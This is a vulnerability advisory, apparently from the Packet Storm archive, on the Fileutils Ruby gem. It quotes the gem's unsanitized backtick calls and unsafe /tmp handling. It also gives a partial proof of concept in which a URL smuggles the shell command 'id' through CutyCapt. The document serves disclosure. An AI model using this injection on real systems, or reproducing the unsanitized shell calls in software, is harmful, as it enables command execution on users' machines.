exploit the possibilities

Fileutils Ruby Gem Remote Command Execution

Fileutils Ruby Gem Remote Command Execution
Posted Feb 28, 2013
Authored by Larry W. Cashdollar

The Fileutils Ruby gem suffers from possible remote command execution due to a lack of passing unsanitized user input to CutyCapt for execution. It also suffers from insecure file handling in /tmp.

tags | exploit, remote, ruby
MD5 | 99646c474c4e02422426633db0fadaa0

Fileutils Ruby Gem Remote Command Execution

Change Mirror Download
Possible remote command execution and insecure file handling in /tmp.
2/23/2013

http://rubygems.org/gems/fileutils

"A set of utility classes to extract meta data from different file types".

Handles files insecurely in /tmp, a directory is created for that file extension say 'zip' and files are maniplated there. This directory can be hijacked and the contents manipulated by a malicious user.

in ./lib/file_utils.rb

15 def zip (target, *sources)
16 targetdir = "{FileUtils::Config.tmp_dir}/zip"
17 id = 1
18 while File.exists?(targetdir)
19 targetdir = "{FileUtils::Config.tmp_dir}/zip#{id}"
20 id += 1
21 end
22 FileUtils.mkdir(targetdir)

where Config.tmp_dir = /tmp

in ./lib/file_utils/config.rb

5 def self.tmp_dir
6 @tmp_dir ||= '/tmp'
7 end

Remote command execution:

From file_utils.rb, doesn't sanitize input on URLs passed to CutyCapt for execution. If a URL contains shell characters say a ';' followed by a command a remote attacker execute a command on the clients system if they are enticed to click an encoded url like:

need to test URL encoding not sure if this is valid.

http://bla.net.org;id>/tmp/o; -> http://tinyurl.com/a5scxzz

7 def capture (url, target)
8 command = FileUtils::Config::Xvfb.command(File.dirname(__FILE__) + "/../bin/CutyCapt --min-width=1024 --min-height=768 --url={url} --out={target}")
9 `#{command}`
10 end

partial PoC if client is tricked into using malicious URL:

irb(main):001:0> `xvfb-run --server-args="-screen 0,1024x768x24" ./CutyCapt --url=http://www.example.org;id>/tmp/foo; --out=/tmp/tempf` xvfb-run: error: Xvfb failed to start
sh: 1: --out=/tmp/tempf: not found
=> ""
irb(main):002:0>

root@ubuntu:~/CutyCapt/cutycapt/CutyCapt ls -l /tmp/foo -rw-r--r-- 1 root root 39 Feb 27 02:56 /tmp/foo root@ubuntu:~/CutyCapt/cutycapt/CutyCapt cat /tmp/foo uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~/CutyCapt/cutycapt/CutyCapt#

Michael Scherer of Redhat.com found other issues during a discussion about the above issues I found:

In fact, there is the same similar problem in another file :
result = `#{FileUtils::Config::OpenOffice.python} #{command} #{source} #{target} #{FileUtils::Config::OpenOffice.port}`

I quickly checked using irb ( a quick command line to type ruby snippet, and yes, using funky chars result in funky results.

There is another issue in
# Generates a temp filepath for the given extension def temp (extension)

path = "{FileUtils::Config.tmp_dir}/tmp.{extension}" id = 1
while File.exists?(path)

path = "{FileUtils::Config.tmp_dir}/tmp.{id}.#{extension}"
id += 1

end

Since someone could just create the file at the last moment, and make a link so the script would overwrite an arbitrary file.

Thanks to vl4dz and Michael.

Larry W. Cashdollar @_larry0
http://vapid.dhs.org 
Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close